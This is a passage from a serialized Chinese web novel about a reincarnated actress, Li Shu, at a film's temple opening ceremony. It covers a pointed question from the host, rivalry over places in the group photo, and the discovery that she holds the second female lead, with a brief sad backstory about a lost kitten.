可她的哥哥小时候被猫抓过受了惊,又故意和妹妹对着干,妹妹越是不高兴,他就越高兴,所以不论是猫还是狗,他一律不让养。 他以折磨自己的妹妹为乐。 原主年纪还小时,对父母和哥哥的爱还抱有幻想,曾经把一只捡到的猫咪幼崽带回了家。 她小心的藏在自己的房间,猫咪孱弱,也很乖巧,除了饿了、需要排泄,其他时间都在睡觉。 原主每天都把小猫收拾好才出门上学,放学再急着回来给它收拾,但也不过短短五天,小猫不见了。 她几乎疯了一样的去找,可最终一无所获,只能在雨天里嚎啕大哭,又被坐在门口檐下的邻居笑着嘲讽,说她亲爹亲妈都还没死,因为一个畜生哭成这样,没出息。 直到她淋的湿透的回到家,看着她哭着出门的哥哥才嬉皮笑脸的告诉她,那只猫被他拿去逗朋友家的狗,不小心被狗咬死,吃了。 那年她刚满十六岁,那只猫也成为了少女脱离家庭的原因。 但这也只是少女日记里短短的回忆中的一部分。 黎数说这话时的语气并不太好,张姐都从后视镜里看了一眼。 陆嵬并没有追问人家隐私的癖好,闻言只说了句,“你的动作看起来很专业。” 说罢她就将目光平移挪向了窗外,表情很平静,看不出什么情绪波动。 但其实刚刚的一瞬间,她想起的是元宝第一次生病时,黎数第一次在她面前露出了手足无措又内疚的表情。 猫藓并不多罕见,元宝是因为送去洗澡的原因感染的,原因已经不可考,但发现的时候,皮肤的问题已经算是严重了。 元宝小小的一只不会说话,又是冬天,毛发很厚实,只乖乖的坐在黎数的怀里让她检查、剃毛、上药,时不时舔舔小嘴巴。 在她那时候看来,元宝的满眼除了吃就是吃。 那是黎数和她认识以来第一次哭。 她流泪的时候是悄无声息的,如果不是眼泪打湿了她的灰色长裤,可能陆嵬都发现不了。 黎数心疼猫,她心疼黎数。 元宝的皮肤溃烂严重,黎数在自责她发现的太晚。 但陆嵬觉得没有必要自责。 其实也说不上是什么原因,就是觉得这种事情没人能防备得了,何况也不是黎数故意的,没有人想让元宝出事。 因为有的时候意外来的就是突然且不近人情。 只是一个皮肤病而已,她不希望黎数因为这个自责,她看到黎数自责、愧疚,心里会觉得不舒服。 她甚至很难以用言语去表达那究竟是一种怎么样的心情,只是那一瞬间,她怪了不负责任的宠物店,怪了毛长得太好的元宝,怪了送元宝去宠物店的管家,甚至怪了那瞬间一起跟着手足无措,不知道怎么办的自己。 但那以后,元宝再也没有得过皮肤病。 黎数每次回到家后都要检查元宝的身体情况,管家和助理也很负责,会把元宝的实况拍给她看,每个月也会按时去医院体检。 黎数在家里给元宝检查的样子,和刚刚的少女的姿态几乎完全重合。 她已经很久没能回忆起这样的画面了。 世界上怎么会有这么相似的人呢,从眼前的少女身上,她总能看到曾经爱人的影子。 可眼前的少女不是她曾经的爱人。 黎数回不来了。 车窗的倒影里,陆嵬的目光投向了另外一个模糊的影子,睫毛轻轻垂了下去。 - 下车后没多久,黎数和陆嵬就分开各走各的了。 小配角在片场实在是不宜带着宠物横行无忌,这一般是主角才有的特权。 一开始黎数还担心出门以后得情况会重演,但出乎意料的是元宝很配合,居然真的被陆嵬带走了。 两人分开以后,裘夏不知道从哪里闪现了过来,身边还带着一个穿着很朴素,身材也很壮实的女生。 女生像是干惯了粗活,外露的手粗糙,手掌也大,面庞晒得黝黑,但脸明明显得孩子气,看上去很小,人也老实巴交的。 裘夏满脸无奈的介绍:“时间太赶了实在来不及筛专业的了,这是给你临时找的助理,你先凑合用。反正《秘宝》拍摄周期不长,她人老实,话也不多,有什么事你跟她直说就行。” 一个好端端的大活人用‘凑合着用’这四个说出来实在诡异。 女生名字叫春风,姓春。黎数特意和她确认了到底是风还是凤,她说是风,她妈妈给取得。 “我妈说我小时候老漂亮还聪明,脑子还灵,希望我长大以后跟风似的又柔又好看。” 春风挠挠头,憨憨一笑,后半句没说,但居然有种一切尽在不言中的意会。 黎数倒是挺满意的,娱乐圈虚与委蛇场面太多,白天都得说鬼话,身边能有个朴实点没那么多小心思的助理也好。 白天温度有点高,裘夏额头浸出了些汗,嘱咐她道:“待会你站第二排,往边上凑凑,开机仪式没必要挤中间,给那些愿意挤的,不过脑子别太死,记着随机应变,留点眼力见。” 黎数点头。 “还有。”裘夏压低声音,“我不管你和姓陆的到底现在什么关系,但是在片场,你和她,只能是同公司的领导和下级,把这层关系给我踩死了,明白吗?” 黎数这次没回应。 但裘夏也没顾得上,又以极快的速度急吼吼的说:“我溜个号去找我老婆,你自己这边看着点,有事找我。” 黎数:“……” 21、第二十一章 裘夏走后,春风把一张打印纸交给了黎数。 “数姐,这是待会上台致辞的内容,你背一下,咱们在林辰星的后面一个上去致辞,一共一分钟的发言时间,后面都是简单问答,夏姐说让你自己看着来。” 黎数简单看过,只有短短的几句话而已,她很快背下来,将纸叠成方块揣进口袋,随口问道:“你小名叫什么?” 春风说:“我妈心情好就叫我春儿,有时候叫我风儿,还有时候叫我春春,风风,要打我的时候就喊我全名。” 黎数闻言眼睛弯了弯。 她把几个名字念了几遍,说:“那我以后就叫你风风。” 春风连连点头,“好啊好啊好啊,夏姐之前喊我全名的时候,我总感觉我妈要突然闪现出来揍我。” 黎数这次是真笑了两声,忍不住说了句:“你还真是老实的有点可爱。” 春风‘嘿嘿’一笑。 - 开机仪式按照惯例操作,所有主创都在自己该在的位置上,甚至摆了椅子,足可见投资方对于《秘宝》的重视。 大多数开机仪式都只是简简单单走个过场,长的一两小时,短的几十分钟,上过香后就散了,主演上台也就只说三两句话,底下除了主创也没谁会真的去听。 但《秘宝》剧组选了当地有名的古寺,请了住持诵经、高僧吟唱祈福,所有人受气氛感染,也大多都极为肃穆,黎数的手机甚至都没拿出来过。 现场摆放了很多贡品,黎数也看到了不远处有演员粉丝在欢呼,主持人在台上控场、讲解,介绍剧组成员,紧接着便是主创们依次按照顺序上台发言。 第一个上台的就是沈凝雪,她也是《秘宝》的女一。 《秘宝》颠覆了以往红色主旋律大多以男性为主导的惯例,费鹤鸣大胆尝试了大女主,这部戏里没有男主角。 坐在台下,黎数的心思有些飘远。 她重新活过来已经两个多月了,这两个月以来恶补了很多从前的东西,可太多的事情,不到真正的遇到,只靠道听途说也是没有用的。 她记得陆嵬是和沈凝雪打的电话,也记得陆嵬曾经对电话那头说我爱你,语气是难得一见的软绵温柔。 可两个月以来,黎数这是第一次看到沈凝雪。 甚至陆嵬和沈凝雪就坐在一起,彼此也有交流,看得出关系密切,却没有一丝丝的暧昧,就像是两个不常见的朋友,有共同话题,却始终很有距离和分寸。 “姐,到你了。”后面隔了一个过道的位置,春风上前走到黎数身边,低声和她说道:“林辰星后面上去,别忘啦,主持人等会会叫你。” 黎数神色不动的‘嗯’了声。 主持人的介绍出现了极为短暂的片刻凝滞,但很快她就调整好了自己:“接下来上台致辞的,想必大家也听过她的名字。她就是传闻中被费导、被咱们总制片、总投资、总编剧同时单独加场考校后钦点的白玫……让我们欢迎黎数!” 她上台的时候,明显听到了台下引起了阵阵骚动。 这个名字,对现场大多都在娱乐圈浸淫了多年的老人来说,都不陌生。 何况是曾经的黎数演技很好,甚至可以说是费鹤鸣的御用女配,起码有三部以上的戏费鹤鸣都力保过黎数出演。 从性格坚毅卧底缅甸的缉毒女警,到忍辱负重为孩子报仇的‘反派’母亲,乃至不断蜕变,从青涩一路突破到指挥官的女消防员,甚至是日落月升后,拖着沉重残破的躯体,寂寥一人在街边扫地的环卫工。 没有黎数演不出的形象,没有她刻画不出的职业,没有她演绎不出来的灵魂。 没有任何一个资方和片方会不喜欢这样的演员,会对这样的演员没有印象。 时间逐渐到了中午,日光很晒,黎数只涂了最基础的防晒和隔离,素面朝天,清凌凌的站在台上,好像台下发生的一切嘈杂都与她无关。 她极其流畅的讲完了裘夏给她准备好的台本里的话,紧接着带着得体的微笑,等待着主持人提后面的流程。 主持人翻开后面的台本,望向黎数时脸上有些许的忧虑,但还是问道:“许多支持我们《国家秘宝》的粉丝都对你充满了好奇,想知道你是怎么看待自己的长相和去世的前辈很相似的这个问题的,同样,也想知道你为什么能获得费导的亲自指定,这其中有没有借着前人光芒的缘故,小黎不妨和我们来聊聊?” 主持人脸上的笑意维持的强行,黎数也注意到了镜头长久的切在了自己的脸上。 台下众人神色各异,黎数浅淡的笑了笑。 裘夏皱眉,手机上问陆嵬。 【裘夏:?】 【陆嵬:。】 【裘夏:你。个毛啊,怎么回事,谁准备的题卡?】 【陆嵬:不知道。】 裘夏气的鬼火冒。 手机又震了震,是陆嵬发来的消息。 【陆嵬:晚宴就知道是谁了。别想了,她没问题。】 裘夏和黎数接触还是太少,即便知道黎数让人放心,大多数时候为人处世都像是一个从业多年的老人,可毕竟她现在只有十八岁。 这问题问的太刁钻了,拉着已逝的前人,说多说少都是错,进一步说她狂妄自大不尊重前辈,退一步说她小家子气,没见过世面低情商,往后就会被拉上发言耻辱柱。 裘夏有点恼火,但也知道陆嵬不会无的放矢,晚宴各路人马齐聚,总导演总制片总编剧全都到场,只要不是得去联合国开会,没人敢不来。 到时候就什么都分明了。 但知道归知道,气还是气。 黎数刚签约没多久,又赶上原公司解约,为了她以后得发展,寰宇还没官宣她的身份,没几个人知道自己是她的经纪人。 但不知道不是整人家的理由,何况是在开机仪式这样的关头上,这人不是蠢就是坏。 裘夏压着火,一双眼睛冷飕飕的四处暗杀。 “曾经有很多人跟我说过,我的眉眼有三分像他们所熟识的故人,就连名字都是一模一样的,领导也让我模仿了她两年。” 黎数以少女日记里记录过的内容和她真正的想法说:“我很感激和前辈的面容相似带给我的机会,它把我从落后的山村里带了出来,让我接触到了更广阔的天地。虽然有些自作多情,但我真的很像和她说一声感谢,因为是她的成功,才能让我走了这条捷径。” 黎数并没有避讳走捷径这个话题。 但很快,她说:“只可惜我和她无缘见面,这句感激也始终没能说出口。不过以后,也希望我能借着这来之不易的机会,对未来有更好的诠释,不辜负前辈曾经获得的荣誉。” 黎数停顿了片刻,忽然笑着说:“更何况我是演员,所以不管你们从我身上看到了谁,都无所谓,没必要在意我的看法,除了演技意外,其他的一切对一个演员来说,都是不重要的。” 现场不知道是从哪里开始,逐渐响起了阵阵的掌声。 不少人惊讶于一个外表看上去还很青涩的女孩儿,能在没有对过词的情况下对答如流,不卑不亢,稳重得体。 沈凝雪在陆嵬耳边悄声说:“我之前听小星提过这女孩儿,说是一统的人,这个活是自己努力接下来的。你能不能帮个忙,我想签她,这样的人才,留在一统太浪费了。” 陆嵬神色变得有点奇怪起来。 22-30 第22章 第二十二章【VIP】 注意到沈凝雪是真的动了心思,而不是随口一说,陆嵬的目光从元宝身上收回来,说:“那还挺巧的。” 沈凝雪看到陆嵬旁边座位上的猫箱,下意识问:“你养猫了啊。刚刚说巧什么?” 陆嵬慢吞吞的收回手。 递出去的猫条被抓了个稀巴烂,大场面,元宝倒是没乱叫,不过一口没吃。 她用纸巾包着残破的猫条放在一边,又拿出湿巾不停地擦手,沾到了点,黏糊糊的难闻。 沈凝雪无语的看着她慢条斯理的把每一根指缝都擦干净,又换了第二张湿巾。 直到擦完了,陆嵬才说:“我说挺巧的,我已经把她签了。” 沈凝雪:“……那你下手还挺快。” 陆嵬微微侧头,“运气而已。” 确实是运气,不管是哪个层面上来讲。 沈凝雪对她的眼光和运气表示肯定:“运气是很好,不管是对你,还是对她。” 然而这一句话似乎戳到了陆嵬的某根神经,她本来放松的表情忽然一瞬间紧绷了起来,脸色显得有些阴郁。 沈凝雪有心想问陆嵬为什么要签她,但扫到台上黎数那张脸,又不知道该如何开口。 不论是弥补,还是不想看到和逝者有几分相似的人受苦,似乎都没什么不行的。 毕竟有些事情对于陆嵬来说,只是举手之劳。 黎数正好余光扫到陆嵬的一瞬间,陆嵬正好变了脸。 黎数眉心稍动,干什么,吵架吵输了?- 坐在台下的费鹤鸣有些晃神。 从前的黎数也是那么个不争不抢的性子,戏好,理解能力快,也愿意不辞辛苦的尝试,威亚磨出血都能缠好纱布再来,直到得到最完美的那一条。 费鹤鸣很喜欢她。 虽然不能说是偏向,但如果有合适的本子,在资方、政治、权利等等因素不干预的情况下,黎数基本会是她第一选择的人选。 从前的开机仪式上,黎数总会带着对角色最独到也深刻的见解,和对影片最由衷的期望上台,话说完后就安安静静的站在一边。 她从不抢所谓的C位,也从不搞噱头,更不利用作品去哗众取宠、过度营销。 但她也不是个忍气吞声的性子,面对乱提问的记者又总能留有三分余地的反击,字字温柔字字刀。 刚刚那一瞬间,同样简单的白色短袖,同样如出一辙的干练马尾,让她几乎产生了错觉。 她以为站在那里的,是真正的黎数。 她思虑了片刻,问身边的秦霜:“你之前说,这小丫头是一统娱乐送来的人?” 秦霜点点头,有点迟疑的说:“是一统那边的经纪人带的,他不知道怎么搭上了咱们这部戏的一个小投资人,那边拉着我组了几次局,我推脱不过去了次,就应下了,倒也没提过分的要求,只是塞了他们公司不少人过来试镜。” 费鹤鸣了然的点点头,苍老的面孔露出了些许思虑的神色。 “这场结束以后,你去帮我问问小范,能不能找一统把人要来吧。”费鹤鸣想了会,苍老的手背在膝盖上轻点。 “他不正好要组个公司单干,现在正缺人吗?这小丫头是个好苗子,好好培养能成台柱。从我账上出钱,以后……” 费鹤鸣沉默片刻,语气有些含糊和沧桑:“以后少不了她戏拍,她有灵气,是个难得一见的好苗子。” 只是比以前的黎数多了点运气。 秦霜吃了一惊。 费鹤鸣其实早些年曾经透露过她有意退休的想法。 她说人一生的经历和精力就那么多,眼界就那么点,是有限的。 她干导演干了一辈子,几十年过去,她自觉江郎才尽,也想把更多的机会留给年轻人,以后只教教学生,发挥一下余热。 可两年前一切都变了。 费鹤鸣重新出山,一部部戏的抬,班子一个个的组,戏一部一部的上。 两年间上了两部电影,两部都是当年销冠。 可作为导演圈新锐、出道起就奖项拿到手软的陆嵬,却突然不再拍戏了。 她师承电影行业泰斗之一的顾宗年,更得费鹤鸣亲传,几乎是自实习开始就手把手教导。 上到家国大义,下到儿女柔情,出品必属精品。 更何况陆嵬父母双方派系都在行业有助力,她的前途不可限量,几乎业内默认她就是下一代电影行业中的领航人。 可不只是导演, 两年前她在国外读博,对国内,只知道回来以后,她所熟悉的一切都变了。 而现在这样的两个人,似乎都对台上那加。 黎数,但秦霜知道,那是不一样的。 费鹤鸣望向她时多有怀念和遗憾,陆嵬先前那匆匆一面,又像是裹挟了太多复杂的情绪,难以用单一的词汇去形容。 秦霜若有所思,觉得她们两个人,似乎都通过这个少女,望向了一个已经不存在的故人。 半晌,她闷闷的说:“那我结束后去问问范哥。”- 不管是粉丝的欢呼,还是主持人的引导,现场的气氛都是从头到尾的热烈。 开机仪式逐渐走到最终,到了最后的大合影环节。 失踪的裘夏终于姗姗来迟,她来时穿的是低调的黑色套装,这会换成了浅紫色的套装,站在人群中很是显眼。 她作为寰宇的经纪人不参与合照,只在不远处陪着自家艺人而已。 见黎数主动往第三排边缘走,她脸上露出了点满意的笑容,遥遥冲她比了个大拇指,但还不等她这个笑维持几秒—— 陆嵬站在当之无愧的正中央的位置,向后转过身,在人群中搜寻了会。 很快,她找到了目标,并朝着目标招招手。 裘夏面无表情的问身边的春风,大拇指抵在额头上:“她在干什么?” 春风茫然:“谁?” “姓陆的。”裘夏眉毛皱的死紧:“她想闹得绯闻满天飞吗,她知不知道自己到底在干什么,这又是什么场合?!” 春风缩缩脖子:“不知道。” 裘夏狠狠地把大拇指朝向向下,明知道陆嵬看不见,还是又往下戳了戳- 黎数一开始想当自己没听见的。 不管是哪里都少不了想挤占在C位的人,毕竟不管是合照还是宣传,站在正中央的人总是能第一眼被发现。 这次也不例外。 整体的大合照呈现出一个半圆弧形,站在第一排的是蹲下的工作人员和小配角,靠中间的则是小演员,第二排才是当之无愧的主创核心。 黎数本来就在第二排比较靠边的位置,但毕竟这一排是主创团队,挤来挤去的,加上黎数又没有往中间去的意思,一来二去,居然被挤到了最边缘。 她还没说什么,本来站在她边上的林辰星先不乐意了。 “你俩挤什么啊?”林辰星脸上戴着墨镜,看不清楚镜片后面的眼睛,只一双画的精致的眉毛皱起来,一张俏脸上布满寒霜:“要不来我这位置站啊?这不更靠中间?” 林辰星是走了沈凝雪的路子进来的,但她本身演技也过得去,饰演的也是只几天就能杀青的小角色,只是手里有刚刚算是小爆的热剧,所以位置比较靠正中,名义上算是特邀。 挤黎数的两个人也都是曾经火过的演员,但也只是曾经,这次演的更是只出镜几面的小角色,真剪出来留不留都不一定。 加上理亏,一时间还真有些后怕,心虚的对视了一眼。 林辰星冲着黎数一仰下巴,示意黎数自觉过去。 黎数觉得好笑,但也没拂了这份好意。 她之前觉得林辰星的态度不明,和她相处也算不上友好。 毕竟她站在凝火娱乐的立场上来说,一统和它旗下所有人都算是林辰星的敌对方,不喜欢太正常了。 更何况没几个好好演戏的,会喜欢那帮走歪门邪道营销的。 但这次又好像没有上一次片场见面时那样的挖苦了。 林辰星轻哼一声:“看什么看,要不是看你年纪小演技好我才懒得搭理你。” 她顿了顿,忽然想到了黎数之前试镜时几次让她差点捂嘴尖叫的场面,内心有点不好意思也不好说的崇拜和羡慕。 过了会,她凑近黎数小声嘀嘀咕咕,“你是不是让一统的人坑了?要是的话你跟我说,待会下去加个微信,我跟你说我老板可惜才了,你要是被一统的骗了,她说不定真能帮你脱离苦海。” 黎数弯着眼睛笑:“谢谢。” 林辰星一通输出换来了这俩字,也不在意,还觉得挺开心,轻哼一声:“不用谢。记得等会找我加微信。不是谁都能加我的,你懂的吧?” 也就恰在这个时候,黎数听到了陆嵬的声音。 黎数刚想陆嵬在这种场合喊自己干什么,就想起陆嵬曾经说过的话—— “在外面时,要和我保持一定程度上的亲昵关系,要听话。” 陆嵬就站在距离自己不远的地方,身边有一个单独的空位,空位的另外一边,是沈凝雪,沈凝雪的旁边,是费鹤鸣。 好一个核心主创中的核心才能站的位置。 陆嵬朝她招招手,示意她过去。 黎数想装瞎。 直到陆嵬开口喊她:“小黎,过来,站我身边。” 沈凝雪也跟着笑:“过来吧。” 在附近的范从荣和秦霜听见了居然也跟着一起帮腔,甚至已经东挤挤西挤挤把位置都给空出来了。 她一个女三都算不上的小配角,何德何能在这种场合下,被这样一群人簇拥着,要让她站到中间去。 不少人已经向着她的方向行注目礼了。 再引起更大的骚动之前,黎数只能硬着头皮过去,头一次发现保持微笑这事儿居然这么难。 所有人因为站位都热热闹闹,彼此相让的,趁着这个机会聊天的都有。 黎数本来以为到了这里以后就安全了,谁知道她和陆嵬中间忽然横插进来了一个人。 她猝不及防的被挤了一下,直到撞到了在她身边站着的沈凝雪的肩上。 沈凝雪今天穿了高跟鞋,本来在毯子上就容易被绊倒,这一下又被惯性带的直接撞到了她身边的费鹤鸣。 连环相撞下,已经六十多岁的老人家一个没站稳,被这么一挤差点摔倒。 这位老人上辈子对她就几乎有半师的恩情,这辈子更是在不知道自己是谁的情况下,都大开方便之门,给了自己一个机会。 黎数瞬间就冷了脸。 挤人的她不认识是谁,也没听过,回过头发现是一个打扮极精致的女人,眼睛细长,鼻梁高挺,看上去非常干练,有些眼熟,但从前没有合作过。 费鹤鸣已经被扶着站稳,摆摆手示意自己没事,同周边众人一起看了过去。 看到是谁后,她皱了皱眉,说道:“汪兰,你挤什么?” 汪兰脸上是爽朗的笑,像是不知道刚刚的状况与她有关似的,挤在了黎数和沈凝雪中间的位置,说道:“费导,我还以为咱们要按照演员番位站呢,我好歹算是女三,总不能站的比……” 她目光放在了黎数脸上,不在乎的笑笑,“总不能站的比她还远吧?图发出去也不是个事儿。我就在这吧,雪姐,您看行吗?” 沈凝雪脸上还是温和的笑,但黎数莫名嗅到了一股危险的味道。 她忽然想起之前媒体曾经拿自己和沈凝雪比较过。 媒体当时说自己是字字温柔字字刀,一般还会给对方留三分余地,识相的自己就会退了。 但沈凝雪,往往是笑着跟你说让你最下不来台的话,连退路都不给多留,就能让对方臊的恨不得死在台上。 这一刻也说不上什么心理,黎数居然很想知道沈凝雪会怎么应对。 她看到沈凝雪侧了侧身,让出了她自己身边的位置。 黎数都忍不住在心里说了句‘妙’。 “这样。”陆嵬突然开了口,一手还扶着黎数的胳膊。 刚刚黎数被汪兰挤的那一下她顺手扶了一把,另一手在口袋里,侧着头开了口,说:“大家都往旁边站站,姐,把你那位置让给她。你那宽敞,不用挤。” 沈凝雪耸耸肩,伸手指了指那位置,没说话,但脸上写满了‘请吧’。 汪兰脸色骤变。 《秘宝》一早就定了是沈凝雪出演女一,但其他角色一直在找,直到几个月前,才突然传出费导海选钦定了最后一个重要演员。 但外界上下瞒的严严实实,甚至剧组内部一丁点消息都没走漏。 毕竟被单独叫去加场的人也不少,何况是好几个角色同面,没人知道到底谁能对标哪一个角色。 就连前段时间炒的沸沸扬扬的小花林辰星,最后甚至都只算是个特邀出演,拿到的角色也是无关轻重的配角。 费鹤鸣的电影,女三号不好拿,可以说是过五关斩六将。 甚至她也曾经拿过数次最佳女配角提名,也有能立得住脚步的作品。 可即便如此,其中的心酸波折也只有她自己才知道。 然而她公司不行,她演技再好,可价格不高,也走不了流量的路子,更没有那么出众到可以让人一掷千金的外貌。 市场竞争越来越残酷,她的岁数却已经越来越大。 费鹤鸣的电影里,女一的地位不可撼动,可女二和女三之间本来就暧昧,表现好未必不能争一争。 这对她来说几乎已经是赌上身家性命的翻身一仗了,她不能被其他的角色越过去。 位置她得抢,番位也得压,到了现场,她连戏都得抢。 可偏偏这时候杀出来了一个黎数。 这个名字,对她而言简直就是个梦魇。 她获得过数次*的女配提名,可多少次都棋差一着败给曾经的黎数,多少次镜头扫到她的连笑都挤不出来的脸,多少次午夜梦回她都只能在房间里偷偷地哭,暗暗的恨。 明明那个黎数已经死了,她以为她的噩梦已经结束了。 偏偏又来了个黎数。 一样的名字,一样的脸。 就这么横空出现在了这里,出现在了她的面前。 有时候她都怀疑是不是老天故意搞她。 汪兰掐了掐手心,脸色煞白:“陆总、凝雪,您二位别开我玩笑了,我哪能站在那啊,那是女一的位置。” 说完后,她目光就直勾勾的盯着黎数看。 似乎是希望黎数能识相,自动退到一边,那眼神发了狠。 黎数皱了皱眉,不知道因为什么,有一种被毒蛇盯上的错觉,毛骨悚然,浑身的毛都要炸起来了。 陆嵬感觉手里的触感不太对,惊讶过后把手迅速撒开,低声说:“你身上起了一堆疙瘩。过敏了?” 黎数差点白眼翻上天,她摸摸胳膊,是被刚刚汪兰那一眼惊的。 那一瞬间,她感觉在她面前站着的不是一个单纯想要争抢所谓C位的演员,而是一个穷途末路的亡命徒,有点应激。 这个状态下的眼神,黎数自问在没有准备的情况下,她演不出来。 或许汪兰可以试试换个赛道,不要走性感路线,也不要走女强人路线,不把自己的角色路子框死,也许能创造出新的火花和话题。 陆嵬又扫了两眼,挑眉:“又没了。” 黎数:“……陆总,我那是被吓出来的鸡皮疙瘩。不是过敏。” 她想起陆嵬撒手撒的干脆的举动,又无语的说:“也不会传染。” 谁家好人的毛还能一直炸,吓到一下回过神来就行了。 陆嵬冷淡的‘哦’了声。 黎数感觉她那声‘哦’似乎是在说‘我没起过这玩意’。 这时候出来打破冷场的居然是秦霜。 她作为总编剧,推了推鼻梁上的眼睛,没什么感情的平铺直叙道:“汪老师,你站在黎数的位置上确实不合适,黎数的角色不管是从所谓的番位上讲还是从实质意义上的内容上讲,都是当之无愧的女二,她站的位置没错,是你站了不该站的位置。” 汪兰头脑麻木,大脑一阵‘嗡嗡’作响,“女二?” 秦霜‘嗯’了声,没做过多的解释。 然而没解释,汪兰更难堪了。 黎数都惊了。 《秘宝》的剧本一直都没发放完整的,毕竟没开机,这也正常。 何况这部戏筹备了很久,又恰逢周年为国家献礼,所以剧本上一改再改也完全合理。 黎数一直以为自己第一部出道的戏,即便沾了上辈子的光,也最多拿一个算是出彩的、但排不上番位的配角。 没想到居然一下就拿到了女二号。 费鹤鸣的女二。 她上辈子都只出演过两次而已。 甚至在资本操作下,实质性到她手里的戏份甚至不如要捧、但又不能太高调引起观众反感的女三、女四。 黎数这才意识到自己这一次的起点究竟有多高。 她犹豫了片刻,低声问陆嵬:“陆总,该不会是你为了捧我改剧本了吧?” 陆嵬看着范从荣上前两步去调解位置上的尴尬,最后把汪兰塞到了第三排费鹤鸣侧后方的位置。 后排的人倒也对她挺尊敬,勉强也算是个视觉中心,加上范从荣老好人似的东一句西一句扯,总算把秦霜最后给的一个暴击给消了,汪兰的脸色才终于好了点。 陆嵬收回视线,淡漠道:“没有。” 黎数缓缓应了声,不知道是信了没信。 大合照环节结束,是主创们的单采环节。 黎数刚刚在台上被主持人逼问的一幕引起了不少记者的骚动,八卦深挖是记者的天性,可现场请来的媒体都是被打过招呼的,没人敢问什么不应当问的东西。 单采的问题大多都有相对台本,这一环节的流程进行的很顺利,黎数今天所有的工作也算是结束,可以先离开了。 裘夏早就在台下等她,一边守着的春风也快速给黎数打上了伞,又递来了一个小风扇,还准备了一个水壶。 黎数弯着眼笑了笑:“你不像是新人,像是做了很久的,太周到了。” 春风傻乐,“我小时候看我家猪娃就是这么照看的,没什么难的。” 裘夏刚打算自夸的嘴缓缓嘬住。 黎数也差点被水呛到。 春风意识到自己说错话了,黝黑的大眼睛眨眨,很无辜的闭上了嘴。 裘夏打量了黎数半晌,笑着问道:“怎么样,做好真正的准备进入这个圈子了吗?” 黎数咽下一口水,把杯子递给春风,说道:“真正的准备?” 裘夏努努嘴,比着不远处人还没散干净,三三两两聚集在一起有说有笑的人群。 “刚刚那场小风波你也在场。”裘夏墨镜后面的眼睛微眯,“上一秒还吵的不可开交的人,下一秒就可能交换联系方式互称姐妹。上一秒还是姐妹兄弟的人,下一秒就可能因为各种原因翻脸。” 黎数没被她吓到,只淡淡的点了点头。 裘夏忽然说道:“刚刚费导被挤到,你很生气,脸都变了。” 黎数动作停顿了片刻,没否认,“嗯”了声。 “以后注意一点,情绪不要这样外露。”裘夏也不是责怪她,只是就事论事。 “你以后注定要站在所有人镜头下,目光中,一言一行,哪怕只是一个表情,一个眼神,只要不得体,不合适,都会被截图出去审判。你是个聪明人,话不需要我说第二次。” “知道了。”黎数说:“我以后注意。” 三人往出口的方向走。 一路上都有人不断地和裘夏打招呼问好,金牌经纪不是开玩笑的,大多数人也都会顺带问一句黎数。 就这么走走停停,裘夏又问:“刚刚要不是陆嵬开了口,你本来打算怎么应对?” 黎数慢吞吞的跟着说:“不怎么应对。那种场合轮不到我出来主持什么公道。” 这么多愿意讲话,也能讲话,又能镇得住场子,也能让人听话的大活人都杵在那,什么时候轮到她一个作品一个都没有,名字都没人知道的小人物去开口了。 裘夏表示满意:“干得不错。你现在这个时期,恰到好处的低调和隐身才能让你更顺当一点。” 虽然刚刚陆嵬的那番表现已经和低调完全无关了。 裘夏想起之前看到的手机热搜词条就想咬陆嵬两口。 刚刚的大合照已经闹得满天飞了,再怎么严防死守,这种半公开场合下,也不可能防得住的。 陆嵬不光是让黎数站在了沈凝雪旁边,甚至和沈凝雪一边一个,同时搭住了黎数的肩膀,姐仨好的比了个‘耶’。 这样顺利的让黎数今天的话题飙升,给未来官宣做出了一个极好的影响,一方面,也无形之中把黎数的位置抬高了。 一旦她某一方面出现明显的弊端,那她就会被抨击的体无完肤,但这一点从来不是裘夏要担心的。 因为黎数的台词、形体、表演,就没有一个地方是不好的。 她的上限极高,根本不需要像是大多数艺人一样靠绯闻或是噱头博眼球。 甚至在知道陆嵬和黎数的关系之前,裘夏也从没想过在黎数以后发展的路子上给她炒CP。 一是因为没必要,二是因为她给黎数定的位置太高,不管是哪个男演员她都看不上,因为新生代的这群男演员里,没有人能跟得上黎数的脚步。 和这些人炒短期CP,固然可以获取一些速效流量,但裘夏都觉得是在倒贴。 等黎数走到了他们不能企及的地方,黎数一定会被倒着吸血。 走了没多久,身后传来了一个熟悉的嗓音。 三人同时停下脚步回过头,发现追过来的人居然是林辰星。 林辰星隔得老远停下脚步,认出了裘夏,呆了半天,才上去拘谨的打了个招呼。 裘夏笑了笑,“这么快就交到朋友了?” 她拍拍黎数的肩膀,又对林辰星说:“你们慢慢聊,我先走了。” 她又压低声音,“待会你跟陆嵬一起回去。” 黎数应了一声。 裘夏走后,林辰星才松了口气。 她脸上一直没摘的墨镜刚刚也摘了,一双眼睛很是漂亮,睫毛很长,不笑的时候有一种小花中少有的清冷高傲感。 “你……”林辰星简直不知道该说什么,她目光往裘夏消失的地方看了看,又往一行人离开的开机仪式现场看,最后说:“你什么时候跟这么多大人物认识了?” 大人物? 黎数哭笑不得:“巧合而已。” 林辰星没忘了过来的正事儿,把手机拿出来,说道:“我刚刚跟你说的你记着啊,我老板之前透露过说想签你的事儿来着。” 黎数和她互相加了好友。 想了想,左右也快官宣了,更何况她和陆嵬、裘夏总是同进同出的事儿也不是什么秘密,便直接说道:“非常感谢你的好意。” 林辰星警觉抬头:“你别告诉我你对一个垃圾桶余情未了,还想和他们再续前缘,把约续下去,你现在一年违约金一百万,两年二百,就算三年三百,也有不少公司能权衡帮你出了这笔钱,但真要有一天,你拖到第五年、第八年,违约金变成五百、八百万的时候……” 黎数慢吞吞的敲下备注,才无奈的打断了她:“我已经和寰宇签了长期约了,所以说谢谢你的好意。” 林辰星的话戛然而止。 半晌,她才缓过神来似的一拍脑袋,“难怪今天陆总看着对你态度不太一样,原来你是她旗下的艺人啊。” 黎数点点头。 同时心想看来林辰星没刷到前些日子的那条‘陆嵬白天密会情人’的热搜。 也或许是刷到了,但没人在意。 毕竟当时的镜头距离太远,整体画质很糊,可能跟拍陆嵬的人连自己是谁都不知道,所以那条热搜虽然冲上去了,但热度不算太高,讨论过一会后就没了。 林辰星安静了会,说:“这样也好。” 她弯着眼睛笑了笑,“我家就住本市,你既然离了一统加了寰宇,那以后咱们也都是一家人了。咱们两家不存在任何竞争关系,以后常来常往常约饭啊,我叫你你别不理我啊。” 黎数笑笑,“好。” 林辰星哼着歌跑远了。 果然还是真正的年轻,走路都这么有活力。 黎数眯着眼睛仰头望了望这条小道上的绿荫。 千年古刹,空山清凉,就连从绿荫中投下来的光影都让人有种重新活过来的勃勃生机。 